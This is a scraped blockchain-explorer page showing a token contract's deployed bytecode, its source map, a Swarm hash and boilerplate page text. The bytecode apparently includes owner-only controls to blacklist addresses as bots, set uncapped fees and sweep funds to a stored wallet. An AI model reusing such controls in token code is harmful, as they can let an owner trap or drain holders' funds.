03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106de5760405162461bcd60e51b81526004016106d590611504565b60405180910390fd5b601094909455601192909255601255601355601455565b6000546001600160a01b0316331461071f5760405162461bcd60e51b81526004016106d590611504565b43601655565b6000546001600160a01b0316331461074f5760405162461bcd60e51b81526004016106d590611504565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461079b5760405162461bcd60e51b81526004016106d590611504565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016106d590611504565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b60606005805461057a906114a1565b6000546001600160a01b031633146108735760405162461bcd60e51b81526004016106d590611504565b60005b828110156108e45781600860008686858181106108955761089561152f565b90506020020160208101906108aa9190611347565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806108dc81611545565b915050610876565b50505050565b6001600160a01b0381163014610a1c576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa15801561094d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610971919061155e565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af11580156109bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e09190611577565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610a1a573d6000803e3d6000fd5b505b50565b600061060a338484610b91565b6000546001600160a01b03163314610a565760405162461bcd60e51b81526004016106d590611504565b6015805460ff19811660ff90911615179055565b6000546001600160a01b03163314610a945760405162461bcd60e51b81526004016106d590611504565b6001600160a01b038116610ad55760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016106d5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610bed5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016106d5565b6001600160a01b03841660009081526008602052604090205460ff1615610c3c5760405162461bcd60e51b8152602060048201526003602482015262109bdd60ea1b60448201526064016106d5565b600c5460ff1615610c5957610c52848484610e38565b5050505050565b6001600160a01b0383166000908152600b602052604081205460ff168015610c845750600c5460ff16155b8015610ca957506001600160a01b03851660009081526007602052604090205460ff16155b8015610cce57506001600160a01b03841660009081526007602052604090205460ff16155b8015610cdd5750601454600d54115b15610d1e57306000908152600160205260409020548390811115610d0d5750306000908152600160205260409020545b8015610d1c57610d1c81610eed565b505b6001600160a01b03851660009081526007602052604090205460ff16158015610d6057506001600160a01b03841660009081526007602052604090205460ff16155b8015610d6f5750600c5460ff16155b15610e2c57600060165411610d8357600080fd5b506001600160a01b0384166000908152600b602052604090205460019060ff168015610dbd5750600a546001600160a01b03858116911614155b8015610de257506001600160a01b03841660009081526007602052604090205460ff16155b15610dfd57600d8054906000610df783611545565b91905055505b60155460ff168015610e0e57508183145b15610e2c57610e1f61271084611594565b610e2990846114f1565b92505b610c5285858584611083565b6001600160a01b038316600090815260016020526040812080548391908390610e629084906114f1565b90915550506001600160a01b03831660009081526001602052604081208054849290610e8f9084906115b6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610edb91815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f2f57610f2f61152f565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fac91906115c9565b81600181518110610fbf57610fbf61152f565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac947906110059085906000908690309042906004016115e6565b600060405180830381600087803b15801561101f57600080fd5b505af1925050508015611030575060015b50478015611074576003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611072573d6000803e3d6000fd5b505b5050600c805460ff1916905550565b6001600160a01b0384166000908152600160205260409020546110a79083906114f1565b6001600160a01b03851660009081526001602052604081209190915581156111e8576001600160a01b0384166000908152600b602052604081205460ff161561110857601354600d54116110fd57600f54611101565b6011545b9050611143565b6001600160a01b0386166000908152600b602052604090205460ff161561114357601254600d541161113c57600e54611140565b6010545b90505b600060646111518387611657565b61115b9190611594565b905080156111e55761116d81846115b6565b3060009081526001602052604090205490935061118b9082906115b6565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111dc9085815260200190565b60405180910390a35b50505b6111f281846114f1565b6001600160a01b03851660009081526001602052604090205461121591906115b6565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61125f84876114f1565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b818110156112a457858101830151858201604001528201611288565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a1c57600080fd5b600080604083850312156112ed57600080fd5b82356112f8816112c5565b946020939093013593505050565b60008060006060848603121561131b57600080fd5b8335611326816112c5565b92506020840135611336816112c5565b929592945050506040919091013590565b60006020828403121561135957600080fd5b8135611364816112c5565b9392505050565b600080600080600060a0868803121561138357600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b8015158114610a1c57600080fd5b600080604083850312156113c757600080fd5b82356113d2816112c5565b915060208301356113e2816113a6565b809150509250929050565b60008060006040848603121561140257600080fd5b833567ffffffffffffffff8082111561141a57600080fd5b818601915086601f83011261142e57600080fd5b81358181111561143d57600080fd5b8760208260051b850101111561145257600080fd5b60209283019550935050840135611468816113a6565b809150509250925092565b6000806040838503121561148657600080fd5b8235611491816112c5565b915060208301356113e2816112c5565b600181811c908216806114b557607f821691505b6020821081036114d557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561060e5761060e6114db565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611557576115576114db565b5060010190565b60006020828403121561157057600080fd5b5051919050565b60006020828403121561158957600080fd5b8151611364816113a6565b6000826115b157634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561060e5761060e6114db565b6000602082840312156115db57600080fd5b8151611364816112c5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116365784516001600160a01b031683529383019391830191600101611611565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761060e5761060e6114db56fea2646970667358221220ba0436540b415556f0bc644e064998b23370e6a5ccfd65d8cdca58c81b7a762664736f6c63430008130033
Deployed Bytecode Sourcemap
3068:9103:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5184:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5947:159;;;;;;;;;;-1:-1:-1;5947:159:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5947:159:0;1023:187:1;5388:100:0;;;;;;;;;;-1:-1:-1;5468:12:0;;5388:100;;;1361:25:1;;;1349:2;1334:18;5388:100:0;1215:177:1;6114:336:0;;;;;;;;;;-1:-1:-1;6114:336:0;;;;;:::i;:::-;;:::i;6910:26::-;;;;;;;;;;;;;;;;5286:94;;;;;;;;;;-1:-1:-1;5363:9:0;;5286:94;;5363:9;;;;2000:36:1;;1988:2;1973:18;5286:94:0;1858:184:1;3361:49:0;;;;;;;;;;-1:-1:-1;3361:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3549:44;;;;;;;;;;-1:-1:-1;3549:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7224:406;;;;;;;;;;-1:-1:-1;7224:406:0;;;;;:::i;:::-;;:::i;:::-;;3679:27;;;;;;;;;;-1:-1:-1;3679:27:0;;;;;;;-1:-1:-1;;;;;3679:27:0;;;;;;-1:-1:-1;;;;;2922:32:1;;;2904:51;;2892:2;2877:18;3679:27:0;2758:203:1;10364:30:0;;;;;;;;;;;;;;;;3504:36;;;;;;;;;;-1:-1:-1;3504:36:0;;;;-1:-1:-1;;;;;3504:36:0;;;10401:88;;;;;;;;;;;;;:::i;4960:110::-;;;;;;;;;;-1:-1:-1;4960:110:0;;;;;:::i;:::-;;:::i;5496:119::-;;;;;;;;;;-1:-1:-1;5496:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5589:18:0;5562:7;5589:18;;;:9;:18;;;;;;;5496:119;2691:148;;;;;;;;;;;;;:::i;2494:79::-;;;;;;;;;;-1:-1:-1;2532:7:0;2559:6;-1:-1:-1;;;;;2559:6:0;2494:79;;12010:121;;;;;;;;;;-1:-1:-1;12010:121:0;;;;;:::i;:::-;;:::i;5078:98::-;;;;;;;;;;;;;:::i;7771:180::-;;;;;;;;;;-1:-1:-1;7771:180:0;;;;;:::i;:::-;;:::i;11176:262::-;;;;;;;;;;-1:-1:-1;11176:262:0;;;;;:::i;:::-;;:::i;5623:165::-;;;;;;;;;;-1:-1:-1;5623:165:0;;;;;:::i;:::-;;:::i;3417:37::-;;;;;;;;;;-1:-1:-1;3417:37:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7676:87;;;;;;;;;;;;;:::i;7638:31::-;;;;;;;;;;-1:-1:-1;7638:31:0;;;;;;;;5796:143;;;;;;;;;;-1:-1:-1;5796:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5904:18:0;;;5877:7;5904:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5796:143;2847:214;;;;;;;;;;-1:-1:-1;2847:214:0;;;;;:::i;:::-;;:::i;5184:94::-;5232:13;5265:5;5258:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5184:94;:::o;5947:159::-;6022:4;6039:37;6048:10;6060:7;6069:6;6039:8;:37::i;:::-;-1:-1:-1;6094:4:0;5947:159;;;;;:::o;6114:336::-;6212:4;6229:36;6239:6;6247:9;6258:6;6229:9;:36::i;:::-;-1:-1:-1;;;;;6280:19:0;;3668:1;6280:19;;;:11;:19;;;;;;;;6300:10;6280:31;;;;;;;;-1:-1:-1;;6280:38:0;6276:145;;-1:-1:-1;;;;;6369:19:0;;;;;;:11;:19;;;;;;;;6389:10;6369:31;;;;;;;;:40;;6403:6;;6369:40;:::i;:::-;-1:-1:-1;;;;;6335:19:0;;;;;;:11;:19;;;;;;;;6355:10;6335:31;;;;;;;:74;6276:145;-1:-1:-1;6438:4:0;6114:336;;;;;:::o;7224:406::-;2621:6;;-1:-1:-1;;;;;2621:6:0;2631:10;2621:20;2613:50;;;;-1:-1:-1;;;2613:50:0;;;;;;;:::i;:::-;;;;;;;;;7431:12:::1;:21:::0;;;;7463:13:::1;:23:::0;;;;7497:15:::1;:30:::0;7538:16:::1;:32:::0;7581:18:::1;:41:::0;7224:406::o;10401:88::-;2621:6;;-1:-1:-1;;;;;2621:6:0;2631:10;2621:20;2613:50;;;;-1:-1:-1;;;2613:50:0;;;;;;;:::i;:::-;10469:12:::1;10451:15;:30:::0;10401:88::o;4960:110::-;2621:6;;-1:-1:-1;;;;;2621:6:0;2631:10;2621:20;2613:50;;;;-1:-1:-1;;;2613:50:0;;;;;;;:::i;:::-;5041:11:::1;:21:::0;;-1:-1:-1;;;;;;5041:21:0::1;-1:-1:-1::0;;;;;5041:21:0;;;::::1;::::0;;;::::1;::::0;;4960:110::o;2691:148::-;2621:6;;-1:-1:-1;;;;;2621:6:0;2631:10;2621:20;2613:50;;;;-1:-1:-1;;;2613:50:0;;;;;;;:::i;:::-;2798:1:::1;2782:6:::0;;2761:40:::1;::::0;-1:-1:-1;;;;;2782:6:0;;::::1;::::0;2761:40:::1;::::0;2798:1;;2761:40:::1;2829:1;2812:19:::0;;-1:-1:-1;;;;;;2812:19:0::1;::::0;;2691:148::o;12010:121::-;2621:6;;-1:-1:-1;;;;;2621:6:0;2631:10;2621:20;2613:50;;;;-1:-1:-1;;;2613:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12089:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;12089:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12010:121::o;5078:98::-;5128:13;5161:7;5154:14;;;;;:::i;7771:180::-;2621:6;;-1:-1:-1;;;;;2621:6:0;2631:10;2621:20;2613:50;;;;-1:-1:-1;;;2613:50:0;;;;;;;:::i;:::-;7858:9:::1;7853:91;7873:15:::0;;::::1;7853:91;;;7927:5;7910;:14;7916:4;;7921:1;7916:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7910:14:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;7910:14:0;:22;;-1:-1:-1;;7910:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7890:3;::::1;::::0;::::1;:::i;:::-;;;;7853:91;;;;7771:180:::0;;;:::o;11176:262::-;-1:-1:-1;;;;;11236:23:0;;11254:4;11236:23;11233:198;;11299:11;;11312:39;;-1:-1:-1;;;11312:39:0;;11345:4;11312:39;;;2904:51:1;-1:-1:-1;;;;;11275:23:0;;;;;;11299:11;;;11275:23;;11312:24;;2877:18:1;;11312:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11275:77;;-1:-1:-1;;;;;;11275:77:0;;;;;;;-1:-1:-1;;;;;6503:32:1;;;11275:77:0;;;6485:51:1;6552:18;;;6545:34;6458:18;;11275:77:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;11375:11:0;;11367:52;;-1:-1:-1;;;;;11375:11:0;;;;11397:21;11367:52;;;;;11375:11;11367:52;11375:11;11367:52;11397:21;11375:11;11367:52;;;;;;;;;;;;;;;;;;;;;11233:198;11176:262;:::o;5623:165::-;5701:4;5718:40;5728:10;5740:9;5751:6;5718:9;:40::i;7676:87::-;2621:6;;-1:-1:-1;;;;;2621:6:0;2631:10;2621:20;2613:50;;;;-1:-1:-1;;;2613:50:0;;;;;;;:::i;:::-;7743:12:::1;::::0;;-1:-1:-1;;7727:28:0;::::1;7743:12;::::0;;::::1;7742:13;7727:28;::::0;;7676:87::o;2847:214::-;2621:6;;-1:-1:-1;;;;;2621:6:0;2631:10;2621:20;2613:50;;;;-1:-1:-1;;;2613:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2936:22:0;::::1;2928:43;;;::::0;-1:-1:-1;;;2928:43:0;;7042:2:1;2928:43:0::1;::::0;::::1;7024:21:1::0;7081:1;7061:18;;;7054:29;-1:-1:-1;;;7099:18:1;;;7092:38;7147:18;;2928:43:0::1;6840:331:1::0;2928:43:0::1;3008:6;::::0;;2987:38:::1;::::0;-1:-1:-1;;;;;2987:38:0;;::::1;::::0;3008:6;::::1;::::0;2987:38:::1;::::0;::::1;3036:6;:17:::0;;-1:-1:-1;;;;;;3036:17:0::1;-1:-1:-1::0;;;;;3036:17:0;;;::::1;::::0;;;::::1;::::0;;2847:214::o;6458:177::-;-1:-1:-1;;;;;6543:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6595:32;;1361:25:1;;;6595:32:0;;1334:18:1;6595:32:0;;;;;;;6458:177;;;:::o;7959:1358::-;-1:-1:-1;;;;;5589:18:0;;8073:15;5589:18;;;:9;:18;;;;;;8125:17;;;;8117:46;;;;-1:-1:-1;;;8117:46:0;;7378:2:1;8117:46:0;;;7360:21:1;7417:2;7397:18;;;7390:30;-1:-1:-1;;;7436:18:1;;;7429:46;7492:18;;8117:46:0;7176:340:1;8117:46:0;-1:-1:-1;;;;;8183:11:0;;;;;;:5;:11;;;;;;;;8182:12;8174:28;;;;-1:-1:-1;;;8174:28:0;;7723:2:1;8174:28:0;;;7705:21:1;7762:1;7742:18;;;7735:29;-1:-1:-1;;;7780:18:1;;;7773:33;7823:18;;8174:28:0;7521:326:1;8174:28:0;8219:6;;;;8215:91;;;8241:32;8256:4;8262:2;8266:6;8241:14;:32::i;:::-;;8288:7;7959:1358;;;:::o;8215:91::-;-1:-1:-1;;;;;8347:16:0;;8318:12;8347:16;;;:12;:16;;;;;;;;:27;;;;-1:-1:-1;8368:6:0;;;;8367:7;8347:27;:55;;;;-1:-1:-1;;;;;;8379:23:0;;;;;;:17;:23;;;;;;;;8378:24;8347:55;:81;;;;-1:-1:-1;;;;;;8407:21:0;;;;;;:17;:21;;;;;;;;8406:22;8347:81;:115;;;;;8444:18;;8432:9;;:30;8347:115;8343:413;;;8562:4;5562:7;5589:18;;;:9;:18;;;;;;8503:6;;8528:13;:40;8524:120;;;-1:-1:-1;8622:4:0;8604:24;;;;:9;:24;;;;;;8524:120;8662:17;;8658:87;;8699:30;8715:13;8699:15;:30::i;:::-;8464:292;8343:413;-1:-1:-1;;;;;8773:23:0;;;;;;:17;:23;;;;;;;;8772:24;:50;;;;-1:-1:-1;;;;;;8801:21:0;;;;;;:17;:21;;;;;;;;8800:22;8772:50;:61;;;;-1:-1:-1;8827:6:0;;;;8826:7;8772:61;8768:488;;;8876:1;8858:15;;:19;8850:28;;;;;;-1:-1:-1;;;;;;8965:18:0;;;;;;:12;:18;;;;;;8903:4;;8965:18;;:51;;;;-1:-1:-1;9001:14:0;;-1:-1:-1;;;;;8987:29:0;;;9001:14;;8987:29;;8965:51;:77;;;;-1:-1:-1;;;;;;9021:21:0;;;;;;:17;:21;;;;;;;;9020:22;8965:77;8961:129;;;9063:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8961:129;9139:12;;;;:33;;;;;9165:7;9155:6;:17;9139:33;9135:108;;;9212:14;9221:5;9212:6;:14;:::i;:::-;9202:25;;:6;:25;:::i;:::-;9193:34;;9135:108;9268:41;9283:4;9289:2;9293:6;9301:7;9268:14;:41::i;6643:259::-;-1:-1:-1;;;;;6753:17:0;;6736:4;6753:17;;;:9;:17;;;;;:27;;6774:6;;6753:17;6736:4;;6753:27;;6774:6;;6753:27;:::i;:::-;;;;-1:-1:-1;;;;;;;6791:20:0;;;;;;:9;:20;;;;;:30;;6815:6;;6791:20;:30;;6815:6;;6791:30;:::i;:::-;;;;;;;;6854:9;-1:-1:-1;;;;;6837:35:0;6846:6;-1:-1:-1;;;;;6837:35:0;;6865:6;6837:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;6837:35:0;;;;;;;;-1:-1:-1;6890:4:0;6643:259;;;;;:::o;11446:556::-;3747:6;:13;;-1:-1:-1;;3747:13:0;3756:4;3747:13;;;11547:16:::1;::::0;;11561:1:::1;11547:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11547:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11547:16:0::1;11523:40;;11592:4;11574;11579:1;11574:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11574:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11618:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;11618:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;11574:7;;11618:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11608:4;11613:1;11608:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11608:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;11654:14:::1;::::0;:195:::1;::::0;-1:-1:-1;;;11654:195:0;;:14;::::1;::::0;:65:::1;::::0;:195:::1;::::0;11734:11;;11654:14:::1;::::0;11776:4;;11803::::1;::::0;11823:15:::1;::::0;11654:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;11650:211:::0;11888:21:::1;11924:8:::0;;11920:75:::1;;11956:11;::::0;11948:35:::1;::::0;-1:-1:-1;;;;;11956:11:0;;::::1;::::0;11948:35;::::1;;;::::0;11978:4;;11956:11:::1;11948:35:::0;11956:11;11948:35;11978:4;11956:11;11948:35;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11920:75;-1:-1:-1::0;;3783:6:0;:14;;-1:-1:-1;;3783:14:0;;;-1:-1:-1;11446:556:0:o;9325:1031::-;-1:-1:-1;;;;;9497:17:0;;;;;;:9;:17;;;;;;:27;;9517:7;;9497:27;:::i;:::-;-1:-1:-1;;;;;9477:17:0;;;;;;:9;:17;;;;;:47;;;;9565:638;;;;-1:-1:-1;;;;;9626:23:0;;9593:14;9626:23;;;:12;:23;;;;;;;;9622:270;;;9691:16;;9679:9;;:28;:62;;9726:15;;9679:62;;;9710:13;;9679:62;9670:71;;9622:270;;;-1:-1:-1;;;;;9767:20:0;;;;;;:12;:20;;;;;;;;9763:129;;;9829:15;;9817:9;;:27;:59;;9862:14;;9817:59;;;9847:12;;9817:59;9808:68;;9763:129;9906:18;9946:3;9927:16;9937:6;9927:7;:16;:::i;:::-;:22;;;;:::i;:::-;9906:43;-1:-1:-1;9968:14:0;;9964:228;;10003:23;10016:10;10003:23;;:::i;:::-;10090:4;10072:24;;;;:9;:24;;;;;;10003:23;;-1:-1:-1;10072:37:0;;10099:10;;10072:37;:::i;:::-;10063:4;10045:24;;;;:9;:24;;;;;;;:64;;;;10133:43;;-1:-1:-1;;;;;10133:43:0;;;;;;;10165:10;1361:25:1;;1349:2;1334:18;;1215:177;10133:43:0;;;;;;;;9964:228;9578:625;;9565:638;10262:19;10272:9;10262:7;:19;:::i;:::-;-1:-1:-1;;;;;10238:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;10215:20:0;;;;;;;:9;:20;;;;;:67;;;;10298:48;;;10326:19;10336:9;10326:7;:19;:::i;:::-;10298:48;;1361:25:1;;;1349:2;1334:18;10298:48:0;;;;;;;9466:890;9325:1031;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;:::-;2283:5;2047:247;-1:-1:-1;;;2047:247:1:o;2299:454::-;2394:6;2402;2410;2418;2426;2479:3;2467:9;2458:7;2454:23;2450:33;2447:53;;;2496:1;2493;2486:12;2447:53;-1:-1:-1;;2519:23:1;;;2589:2;2574:18;;2561:32;;-1:-1:-1;2640:2:1;2625:18;;2612:32;;2691:2;2676:18;;2663:32;;-1:-1:-1;2742:3:1;2727:19;2714:33;;-1:-1:-1;2299:454:1;-1:-1:-1;2299:454:1:o;3196:118::-;3282:5;3275:13;3268:21;3261:5;3258:32;3248:60;;3304:1;3301;3294:12;3319:382;3384:6;3392;3445:2;3433:9;3424:7;3420:23;3416:32;3413:52;;;3461:1;3458;3451:12;3413:52;3500:9;3487:23;3519:31;3544:5;3519:31;:::i;:::-;3569:5;-1:-1:-1;3626:2:1;3611:18;;3598:32;3639:30;3598:32;3639:30;:::i;:::-;3688:7;3678:17;;;3319:382;;;;;:::o;3706:750::-;3798:6;3806;3814;3867:2;3855:9;3846:7;3842:23;3838:32;3835:52;;;3883:1;3880;3873:12;3835:52;3923:9;3910:23;3952:18;3993:2;3985:6;3982:14;3979:34;;;4009:1;4006;3999:12;3979:34;4047:6;4036:9;4032:22;4022:32;;4092:7;4085:4;4081:2;4077:13;4073:27;4063:55;;4114:1;4111;4104:12;4063:55;4154:2;4141:16;4180:2;4172:6;4169:14;4166:34;;;4196:1;4193;4186:12;4166:34;4251:7;4244:4;4234:6;4231:1;4227:14;4223:2;4219:23;4215:34;4212:47;4209:67;;;4272:1;4269;4262:12;4209:67;4303:4;4295:13;;;;-1:-1:-1;4327:6:1;-1:-1:-1;;4368:20:1;;4355:34;4398:28;4355:34;4398:28;:::i;:::-;4445:5;4435:15;;;3706:750;;;;;:::o;4461:388::-;4529:6;4537;4590:2;4578:9;4569:7;4565:23;4561:32;4558:52;;;4606:1;4603;4596:12;4558:52;4645:9;4632:23;4664:31;4689:5;4664:31;:::i;:::-;4714:5;-1:-1:-1;4771:2:1;4756:18;;4743:32;4784:33;4743:32;4784:33;:::i;4854:380::-;4933:1;4929:12;;;;4976;;;4997:61;;5051:4;5043:6;5039:17;5029:27;;4997:61;5104:2;5096:6;5093:14;5073:18;5070:38;5067:161;;5150:10;5145:3;5141:20;5138:1;5131:31;5185:4;5182:1;5175:15;5213:4;5210:1;5203:15;5067:161;;4854:380;;;:::o;5239:127::-;5300:10;5295:3;5291:20;5288:1;5281:31;5331:4;5328:1;5321:15;5355:4;5352:1;5345:15;5371:128;5438:9;;;5459:11;;;5456:37;;;5473:18;;:::i;5504:341::-;5706:2;5688:21;;;5745:2;5725:18;;;5718:30;-1:-1:-1;;;5779:2:1;5764:18;;5757:47;5836:2;5821:18;;5504:341::o;5850:127::-;5911:10;5906:3;5902:20;5899:1;5892:31;5942:4;5939:1;5932:15;5966:4;5963:1;5956:15;5982:135;6021:3;6042:17;;;6039:43;;6062:18;;:::i;:::-;-1:-1:-1;6109:1:1;6098:13;;5982:135::o;6122:184::-;6192:6;6245:2;6233:9;6224:7;6220:23;6216:32;6213:52;;;6261:1;6258;6251:12;6213:52;-1:-1:-1;6284:16:1;;6122:184;-1:-1:-1;6122:184:1:o;6590:245::-;6657:6;6710:2;6698:9;6689:7;6685:23;6681:32;6678:52;;;6726:1;6723;6716:12;6678:52;6758:9;6752:16;6777:28;6799:5;6777:28;:::i;7852:217::-;7892:1;7918;7908:132;;7962:10;7957:3;7953:20;7950:1;7943:31;7997:4;7994:1;7987:15;8025:4;8022:1;8015:15;7908:132;-1:-1:-1;8054:9:1;;7852:217::o;8074:125::-;8139:9;;;8160:10;;;8157:36;;;8173:18;;:::i;8336:251::-;8406:6;8459:2;8447:9;8438:7;8434:23;8430:32;8427:52;;;8475:1;8472;8465:12;8427:52;8507:9;8501:16;8526:31;8551:5;8526:31;:::i;8592:980::-;8854:4;8902:3;8891:9;8887:19;8933:6;8922:9;8915:25;8959:2;8997:6;8992:2;8981:9;8977:18;8970:34;9040:3;9035:2;9024:9;9020:18;9013:31;9064:6;9099;9093:13;9130:6;9122;9115:22;9168:3;9157:9;9153:19;9146:26;;9207:2;9199:6;9195:15;9181:29;;9228:1;9238:195;9252:6;9249:1;9246:13;9238:195;;;9317:13;;-1:-1:-1;;;;;9313:39:1;9301:52;;9408:15;;;;9373:12;;;;9349:1;9267:9;9238:195;;;-1:-1:-1;;;;;;;9489:32:1;;;;9484:2;9469:18;;9462:60;-1:-1:-1;;;9553:3:1;9538:19;9531:35;9450:3;8592:980;-1:-1:-1;;;8592:980:1:o;9577:168::-;9650:9;;;9681;;9698:15;;;9692:22;;9678:37;9668:71;;9719:18;;:::i
Swarm Source
ipfs://ba0436540b415556f0bc644e064998b23370e6a5ccfd65d8cdca58c81b7a7626
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.